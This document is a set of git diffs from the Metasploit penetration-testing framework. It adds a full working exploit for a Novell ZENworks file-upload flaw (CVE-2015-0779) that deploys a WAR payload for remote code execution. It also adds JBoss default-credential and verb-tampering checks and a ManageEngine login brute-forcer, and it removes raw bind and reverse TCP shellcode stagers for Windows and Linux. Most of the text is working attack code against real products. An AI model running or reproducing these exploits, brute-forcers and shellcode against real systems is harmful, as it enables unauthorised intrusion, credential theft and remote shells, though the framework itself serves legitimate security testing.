@ -65,6 +66,8 @@ class Metasploit3 < Msf::Auxiliary
check_app(app)
end
jboss_as_default_creds
ports = {
# 1098i, 1099, and 4444 needed to use twiddle
1098 => 'Naming Service',
@ -72,22 +75,21 @@ class Metasploit3 < Msf::Auxiliary
4444 => 'RMI invoker'
}
print_status("#{rhost}:#{rport} Checking services...")
ports.each do |port,service|
status = test_connection(ip,port) == :up ? "open" : "closed";
ports.each do |port, service|
status = test_connection(ip, port) == :up ? "open" : "closed"
print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}")
end
end
end
def check_app(app)
res = send_request_cgi({
'uri' => app,
'method' => 'GET',
'ctype' => 'text/plain',
}, 20)
'ctype' => 'text/plain'
})
if (res)
if res
case
when res.code == 200
print_good("#{rhost}:#{rport} #{app} does not require authentication (200)")
@ -96,6 +98,7 @@ class Metasploit3 < Msf::Auxiliary
when res.code == 401
print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}")
bypass_auth(app)
basic_auth_default_creds(app)
when res.code == 404
print_status("#{rhost}:#{rport} #{app} not found (404)")
when res.code == 301, res.code == 302
@ -108,48 +111,125 @@ class Metasploit3 < Msf::Auxiliary
end
end
def bypass_auth(app)
def jboss_as_default_creds
print_status("#{rhost}:#{rport} Checking for JBoss AS default creds")
session = jboss_as_session_setup(rhost, rport)
return false if session.nil?
# Default AS creds
username = 'admin'
password = 'admin'
res = send_request_raw({
'uri' => '/admin-console/login.seam',
'method' => 'POST',
'version' => '1.1',
'vhost' => "#{rhost}",
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "JSESSIONID=#{session['jsessionid']}"
},
'data' => "login_form=login_form&login_form%3Aname=#{username}&login_form%3Apassword=#{password}&login_form%3Asubmit=Login&javax.faces.ViewState=#{session["viewstate"]}"
})
# Valid creds if 302 redirected to summary.seam and not error.seam
if res && res.code == 302 && res.headers.to_s !~ /error.seam/m && res.headers.to_s =~ /summary.seam/m
print_good("#{rhost}:#{rport} Authenticated using #{username}:#{password} at /admin-console/")
add_creds(username, password)
else
print_status("#{rhost}:#{rport} Could not guess admin credentials")
end
end
def add_creds(username, password)
service_data = {
address: rhost,
port: rport,
service_name: 'jboss',
protocol: 'tcp',
workspace_id: framework.db.workspace.id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: password,
private_type: :password,
username: username
}.merge(service_data)
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
end
def jboss_as_session_setup(rhost, rport)
res = send_request_raw({
'uri' => '/admin-console/login.seam',
'method' => 'GET',
'version' => '1.1',
'vhost' => "#{rhost}"
})
unless res
return nil
end
begin
viewstate = /javax.faces.ViewState" value="(.*)" auto/.match(res.body).captures[0]
jsessionid = /JSESSIONID=(.*);/.match(res.headers.to_s).captures[0]
rescue ::NoMethodError
print_status("#{rhost}:#{rport} Could not guess admin credentials")
return nil
end
{ 'jsessionid' => jsessionid, 'viewstate' => viewstate }
end
def bypass_auth(app)
print_status("#{rhost}:#{rport} Check for verb tampering (HEAD)")
res = send_request_raw({
'uri' => app,
'method' => datastore['VERB'],
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
}, 20)
if (res and res.code == 200)
})
if res && res.code == 200
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering")
else
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
end
end
def basic_auth_default_creds(app)
res = send_request_cgi({
'uri' => app,
'method' => 'GET',
'ctype' => 'text/plain',
'authorization' => basic_auth('admin','admin')
}, 20)
if (res and res.code == 200)
print_good("#{rhost}:#{rport} Authenticated using admin:admin")
'authorization' => basic_auth('admin', 'admin')
})
if res && res.code == 200
print_good("#{rhost}:#{rport} Authenticated using admin:admin at #{app}")
add_creds("admin", "admin")
else
print_status("#{rhost}:#{rport} Could not guess admin credentials")
end
end
# function stole'd from mssql_ping
def test_connection(ip,port)
def test_connection(ip, port)
begin
sock = Rex::Socket::Tcp.create(
'PeerHost' => ip,
'PeerPort' => port,
'Timeout' => 20
)
)
rescue Rex::ConnectionError
return :down
end
sock.close
return :up
end
end

View File

@ -0,0 +1,133 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/manageengine_desktop_central'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'ManageEngine Desktop Central Login Utility',
'Description' => %q{
This module will attempt to authenticate to a ManageEngine Desktop Central.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'RPORT' => 8020}
))
end
# Initializes CredentialCollection and ManageEngineDesktopCentral
def init(ip)
@cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
@scanner = Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
)
)
end
# Reports a good login credential
def do_report(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: result.status,
proof: result.proof
}.merge(service_data)
create_credential_login(login_data)
end
# Attempts to login
def bruteforce(ip)
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
do_report(ip, rport, result)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
end
end
end
# Start here
def run_host(ip)
init(ip)
unless @scanner.check_setup
print_brute(:level => :error, :ip => ip, :msg => 'Target is not ManageEngine Desktop Central')
return
end
bruteforce(ip)
end
end

View File

@ -10,17 +10,8 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "31.0",
:ua_maxver => "34.0",
:javascript => true,
:rank => ManualRanking
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',

View File

@ -0,0 +1,132 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in Novell ZENworks Configuration
Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in
the UploadServlet which accepts unauthenticated file uploads and does not check the
"uid" parameter for directory traversal characters. This allows an attacker to write
anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat
webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack.
This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note
that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a
Metasploit exploit, but it abuses a different parameter of the same servlet.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-0779'],
['OSVDB', '120382'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'],
['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21']
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'Privileged' => true,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Novell ZCM < v11.3.2 - Universal Java', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 7 2015'))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL',
[true, 'Use SSL', true]),
OptString.new('TARGETURI',
[true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']),
OptString.new('TOMCAT_PATH',
[false, 'The Tomcat webapps traversal path (from the temp directory)'])
], self.class)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
'method' => 'GET'
})
if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def upload_war_and_exec(tomcat_path)
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
print_status("#{peer} - Uploading WAR file to #{tomcat_path}")
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
'method' => 'POST',
'data' => war_payload,
'ctype' => 'application/octet-stream',
'vars_get' => {
'uid' => tomcat_path,
'filename' => "#{app_base}.war"
}
})
if res && res.code == 200
print_status("#{peer} - Upload appears to have been successful")
else
print_error("#{peer} - Failed to upload, try again with a different path?")
return false
end
10.times do
Rex.sleep(2)
# Now make a request to trigger the newly deployed war
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
send_request_cgi({
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET'
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Failure. Unexpected answer
break if res.code != 200
# Unless session... keep looping
return true if session_created?
end
false
end
def exploit
tomcat_paths = []
if datastore['TOMCAT_PATH']
tomcat_paths << datastore['TOMCAT_PATH']
end
tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/'])
tomcat_paths.each do |tomcat_path|
break if upload_war_and_exec(tomcat_path)
end
end
end

View File

@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Computer Associates BrighStor ARCserve r11.5 (build 3884).
This module exploits a buffer overflow in Computer Associates BrightStor ARCserve r11.5 (build 3884).
By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer
and execute arbitrary code. In order to successfully exploit this vulnerability, you will need
set the hostname argument (HNAME).
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'win',
'Targets' =>
[
[ 'Computer Associates BrighStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0
[ 'Computer Associates BrightStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0
],
'DisclosureDate' => 'Oct 9 2008',
'DefaultTarget' => 0))

View File

@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
['ZDI', '14-365'],
['CVE', '2014-0569'],
['OSVDB', '113199'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'],
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html']
],

View File

@ -6,86 +6,26 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/linux/bind_tcp'
module Metasploit4
###
#
# BindTcp
# -------
#
# Linux bind TCP stager.
#
###
module Metasploit3
CachedSize = 79
CachedSize = :dynamic
include Msf::Payload::Stager
include Msf::Payload::Linux
include Msf::Payload::Linux::BindTcp
def initialize(info = {})
super(merge_info(info,
'Name' => 'Bind TCP Stager',
'Description' => 'Listen for a connection',
'Author' => [
'skape', # original
'egypt', # NX support
],
'Name' => 'Bind TCP Stager (Linux x86)',
'Description' => 'Listen for a connection (Linux x86)',
'Author' => [ 'skape', 'egypt', ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Stager' =>
{
'Offsets' =>
{
'LPORT' => [ 0x29, 'n' ],
},
'Payload' =>
"\x6a\x7d" +# push byte +0x7d
"\x58" +# pop eax
"\x99" +# cdq
"\xb2\x07" +# mov dl,0x7
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
"\x89\xe3" +# mov ebx,esp
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
"\xcd\x80" +# int 0x80
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\x53" +# push ebx
"\x43" +# inc ebx
"\x53" +# push ebx
"\x6a\x02" +# push byte +0x2
"\x89\xe1" +# mov ecx,esp
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x5b" +# pop ebx
"\x5e" +# pop esi
"\x52" +# push edx
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
"\x6a\x10" +# push byte +0x10
"\x51" +# push ecx
"\x50" +# push eax
"\x89\xe1" +# mov ecx,esp
"\x6a\x66" +# push byte +0x66
"\x58" +# pop eax
"\xcd\x80" +# int 0x80
"\xd1\xe3" +# shl ebx,1
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x43" +# inc ebx
"\xb0\x66" +# mov al,0x66
"\x89\x51\x04" +# mov [ecx+0x4],edx
"\xcd\x80" +# int 0x80
"\x93" +# xchg eax,ebx
"\xb6\x0c" +# mov dh,0xc
"\xb0\x03" +# mov al,0x3
"\xcd\x80" +# int 0x80
"\x89\xdf" +# mov edi,ebx
"\xff\xe1" # jmp ecx
}
'Convention' => 'sockedi',
'Stager' => { 'RequiresMidstager' => true }
))
end

View File

@ -6,49 +6,26 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/bind_tcp'
module Metasploit4
module Metasploit3
CachedSize = 285
CachedSize = :dynamic
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Payload::Windows::BindTcp
def initialize(info = {})
super(merge_info(info,
'Name' => 'Bind TCP Stager',
'Description' => 'Listen for a connection',
'Name' => 'Bind TCP Stager (Windows x86)',
'Description' => 'Listen for a connection (Windows x86)',
'Author' => ['hdm', 'skape', 'sf'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'RequiresMidstager' => false,
'Offsets' => { 'LPORT' => [ 192, 'n' ] },
'Payload' =>
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" +
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" +
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" +
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" +
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3"
}
'Stager' => { 'RequiresMidstager' => false }
))
end

View File

@ -6,14 +6,14 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/reverse_tcp'
module Metasploit3
module Metasploit4
CachedSize = 281
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Payload::Windows::ReverseTcp
def initialize(info = {})
super(merge_info(info,
@ -25,38 +25,8 @@ module Metasploit3
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'RequiresMidstager' => false,
'Offsets' => {
# ExitFunk Offset: 222
'LHOST' => [ 190, 'ADDR' ],
'LPORT' => [ 197, 'n' ],
'ReverseConnectRetries' => [ 188, 'C']
},
'Payload' =>
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" +
"\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00" +
"\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5" +
"\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5" +
"\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF" +
"\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4" +
"\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F" +
"\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3"
}
'Stager' => { 'RequiresMidstager' => false }
))
end
end

View File

@ -6,14 +6,14 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/x64/bind_tcp'
module Metasploit4
module Metasploit3
CachedSize = 467
CachedSize = :dynamic
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Payload::Windows::BindTcp_x64
def initialize(info = {})
super(merge_info(info,
@ -25,45 +25,7 @@ module Metasploit3
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockrdi',
'Stager' =>
{
'Offsets' =>
{
'LPORT' => [ 232, 'n' ]
},
'RequiresMidstager' => false,
'Payload' =>
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" +
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" +
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" +
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" +
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" +
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" +
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" +
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" +
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x49\xBE\x77\x73\x32" +
"\x5F\x33\x32\x00\x00\x41\x56\x49\x89\xE6\x48\x81\xEC\xA0\x01\x00" +
"\x00\x49\x89\xE5\x49\xBC\x02\x00\x11\x5C\x00\x00\x00\x00\x41\x54" +
"\x49\x89\xE4\x4C\x89\xF1\x41\xBA\x4C\x77\x26\x07\xFF\xD5\x4C\x89" +
"\xEA\x68\x01\x01\x00\x00\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5\x50" +
"\x50\x4D\x31\xC9\x4D\x31\xC0\x48\xFF\xC0\x48\x89\xC2\x48\xFF\xC0" +
"\x48\x89\xC1\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x6A\x10" +
"\x41\x58\x4C\x89\xE2\x48\x89\xF9\x41\xBA\xC2\xDB\x37\x67\xFF\xD5" +
"\x48\x31\xD2\x48\x89\xF9\x41\xBA\xB7\xE9\x38\xFF\xFF\xD5\x4D\x31" +
"\xC0\x48\x31\xD2\x48\x89\xF9\x41\xBA\x74\xEC\x3B\xE1\xFF\xD5\x48" +
"\x89\xF9\x48\x89\xC7\x41\xBA\x75\x6E\x4D\x61\xFF\xD5\x48\x81\xC4" +
"\xA0\x02\x00\x00\x48\x83\xEC\x10\x48\x89\xE2\x4D\x31\xC9\x6A\x04" +
"\x41\x58\x48\x89\xF9\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5\x48\x83\xC4" +
"\x20\x5E\x6A\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xF2" +
"\x48\x31\xC9\x41\xBA\x58\xA4\x53\xE5\xFF\xD5\x48\x89\xC3\x49\x89" +
"\xC7\x4D\x31\xC9\x49\x89\xF0\x48\x89\xDA\x48\x89\xF9\x41\xBA\x02" +
"\xD9\xC8\x5F\xFF\xD5\x48\x01\xC3\x48\x29\xC6\x48\x85\xF6\x75\xE1" +
"\x41\xFF\xE7"
}
'Stager' => { 'RequiresMidstager' => false }
))
end

View File

@ -6,14 +6,14 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/x64/reverse_tcp'
module Metasploit4
module Metasploit3
CachedSize = 422
CachedSize = :dynamic
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Payload::Windows::ReverseTcp_x64
def initialize(info = {})
super(merge_info(info,
@ -25,43 +25,7 @@ module Metasploit3
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockrdi',
'Stager' =>
{
'Offsets' =>
{
'LPORT' => [ 232, 'n' ],
'LHOST' => [ 234, 'ADDR' ]
},
'RequiresMidstager' => false,
'Payload' =>
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" +
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" +
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" +
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" +
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" +
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" +
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" +
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" +
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x49\xBE\x77\x73\x32" +
"\x5F\x33\x32\x00\x00\x41\x56\x49\x89\xE6\x48\x81\xEC\xA0\x01\x00" +
"\x00\x49\x89\xE5\x49\xBC\x02\x00\x11\x5C\x7F\x00\x00\x01\x41\x54" +
"\x49\x89\xE4\x4C\x89\xF1\x41\xBA\x4C\x77\x26\x07\xFF\xD5\x4C\x89" +
"\xEA\x68\x01\x01\x00\x00\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5\x50" +
"\x50\x4D\x31\xC9\x4D\x31\xC0\x48\xFF\xC0\x48\x89\xC2\x48\xFF\xC0" +
"\x48\x89\xC1\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x6A\x10" +
"\x41\x58\x4C\x89\xE2\x48\x89\xF9\x41\xBA\x99\xA5\x74\x61\xFF\xD5" +
"\x48\x81\xC4\x40\x02\x00\x00\x48\x83\xEC\x10\x48\x89\xE2\x4D\x31" +
"\xC9\x6A\x04\x41\x58\x48\x89\xF9\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5" +
"\x48\x83\xC4\x20\x5E\x6A\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58" +
"\x48\x89\xF2\x48\x31\xC9\x41\xBA\x58\xA4\x53\xE5\xFF\xD5\x48\x89" +
"\xC3\x49\x89\xC7\x4D\x31\xC9\x49\x89\xF0\x48\x89\xDA\x48\x89\xF9" +
"\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5\x48\x01\xC3\x48\x29\xC6\x48\x85" +
"\xF6\x75\xE1\x41\xFF\xE7"
}
'Stager' => { 'RequiresMidstager' => false }
))
end

View File

@ -8,6 +8,9 @@ require 'msf/base/sessions/meterpreter_x86_linux'
require 'msf/base/sessions/meterpreter_options'
require 'rex/elfparsey'
# Provides methods to patch options into the metsrv stager.
require 'rex/payloads/meterpreter/patch'
module Metasploit3
include Msf::Sessions::MeterpreterOptions
@ -97,13 +100,14 @@ module Metasploit3
end
def generate_stage
#file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf")
file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
met = File.open(file, "rb") {|f|
f.read(f.stat.size)
}
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i)
return met
blob
end
end

View File

@ -6,9 +6,7 @@
require 'msf/core'
require 'msf/core/payload/windows/reflectivedllinject'
require 'msf/core/payload/windows/x64/reflectivedllinject'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
###
